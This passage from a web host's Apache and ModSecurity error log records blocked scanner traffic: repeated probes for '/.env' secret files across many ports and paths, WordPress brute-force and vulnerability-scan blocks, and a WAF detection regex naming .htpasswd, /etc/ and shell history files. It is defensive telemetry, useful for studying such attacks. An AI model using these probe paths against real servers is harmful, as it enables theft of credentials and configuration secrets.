"/___proxy_subdomain_webdisk/zmusic-frontend/.env"] [unique_id "ai3zb9yTkdrNlD40tSG3wAAAABg"] [Sat Jun 13 18:18:55.082832 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.80:23363] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:55.083108 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.80:23363] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:55.181095 2026] [security2:error] [pid 646876:tid 647130] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/:443/.env"] [unique_id "ai3zb9yTkdrNlD40tSG3wgAAAHo"] [Sat Jun 13 18:18:55.221415 2026] [security2:error] [pid 648189:tid 648470] [client 210.217.96.217:48078] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zb1WSojQL4F7upKB0DwAAAPQ"] [Sat Jun 13 18:18:55.221540 2026] [security2:error] [pid 648189:tid 648470] [client 210.217.96.217:48078] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zb1WSojQL4F7upKB0DwAAAPQ"] [Sat Jun 13 18:18:55.270601 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.45:58596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:55.270904 2026] [access_compat:error] [pid 648189:tid 648253] [remote 57.141.14.45:58596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:55.318341 2026] [security2:error] [pid 646876:tid 647118] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/:80/.env"] [unique_id "ai3zb9yTkdrNlD40tSG3wwAAAG4"] [Sat Jun 13 18:18:55.345361 2026] [security2:error] [pid 646876:tid 646961] [remote 202.172.25.51:40186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "jlyricz.com"] [uri "/wp-login.php"] [unique_id "ai3zb9yTkdrNlD40tSG3xAAAElI"] [Sat Jun 13 18:18:55.360200 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.3:42856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:55.360582 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.3:42856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:55.415248 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:55.415519 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:55.417551 2026] [security2:error] [pid 648189:tid 648305] [remote 17.241.219.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zb1WSojQL4F7upKB0FQAAm1M"] [Sat Jun 13 18:18:55.455635 2026] [security2:error] [pid 646876:tid 647120] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/:8080/.env"] [unique_id "ai3zb9yTkdrNlD40tSG3xwAAAHA"] [Sat Jun 13 18:18:55.515618 2026] [security2:error] [pid 648189:tid 648300] [remote 17.246.23.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zb1WSojQL4F7upKB0GAAAn04"] [Sat Jun 13 18:18:55.547944 2026] [security2:error] [pid 648189:tid 648249] [remote 17.22.237.199:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zb1WSojQL4F7upKB0GQAAjxw"] [Sat Jun 13 18:18:55.592864 2026] [security2:error] [pid 646876:tid 647100] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/:8081/.env"] [unique_id "ai3zb9yTkdrNlD40tSG3ygAAAFw"] [Sat Jun 13 18:18:55.729899 2026] [security2:error] [pid 646876:tid 647106] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/:8443/.env"] [unique_id "ai3zb9yTkdrNlD40tSG3zAAAAGI"] [Sat Jun 13 18:18:55.867328 2026] [security2:error] [pid 646876:tid 647113] [client 185.177.72.9:18328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/sendgrid_email/.env"] [unique_id "ai3zb9yTkdrNlD40tSG30QAAAGk"] [Sat Jun 13 18:18:55.935049 2026] [security2:error] [pid 648189:tid 648415] [client 49.48.48.91:54380] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "spectastore.com.ng"] [uri "/wp-comments-post.php"] [unique_id "ai3zb1WSojQL4F7upKB0JgAAAMI"] [Sat Jun 13 18:18:56.004311 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:18:56.004808 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:18:56.027046 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.14:36896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:56.027418 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.14:36896] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:56.121391 2026] [security2:error] [pid 648189:tid 648415] [client 49.48.48.91:54380] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "147"] [id "900404"] [msg "wp-comments-post POST logging"] [data "403"] [hostname "spectastore.com.ng"] [uri "/wp-comments-post.php"] [unique_id "ai3zb1WSojQL4F7upKB0JgAAAMI"] [Sat Jun 13 18:18:56.202115 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.29:41653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:56.202391 2026] [access_compat:error] [pid 646876:tid 646893] [remote 57.141.14.29:41653] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:56.380811 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.29:41667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:56.381070 2026] [access_compat:error] [pid 648189:tid 648260] [remote 57.141.14.29:41667] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:56.500518 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:18:56.500821 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:18:56.713827 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.24:21692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:56.714123 2026] [access_compat:error] [pid 648189:tid 648330] [remote 57.141.14.24:21692] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:56.994692 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:18:56.995130 2026] [access_compat:error] [pid 646876:tid 646892] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:18:57.042467 2026] [security2:error] [pid 648189:tid 648261] [remote 78.149.173.18:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zcFWSojQL4F7upKB0TgAA5ic"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:57.042520 2026] [security2:error] [pid 648189:tid 648261] [remote 78.149.173.18:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zcFWSojQL4F7upKB0TgAA5ic"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:57.139312 2026] [security2:error] [pid 648189:tid 648297] [remote 17.241.75.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zcVWSojQL4F7upKB0VQAAv0s"] [Sat Jun 13 18:18:57.344267 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.31:39298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:57.344534 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.31:39298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:57.497905 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:18:57.498220 2026] [access_compat:error] [pid 646876:tid 646988] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:18:57.628811 2026] [access_compat:error] [pid 648189:tid 648334] [remote 57.141.14.92:21996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:57.629256 2026] [access_compat:error] [pid 648189:tid 648334] [remote 57.141.14.92:21996] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:57.636981 2026] [security2:error] [pid 646876:tid 647030] [client 185.177.72.9:18328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/modules/contrib/sendgrid_mail/sendgrid_mail.settings.php"] [unique_id "ai3zcdyTkdrNlD40tSG38wAAABY"] [Sat Jun 13 18:18:57.692072 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.32:23515] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:57.692358 2026] [access_compat:error] [pid 648189:tid 648295] [remote 57.141.14.32:23515] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:57.969790 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2V2ZW50Mi9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:18:57.970245 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 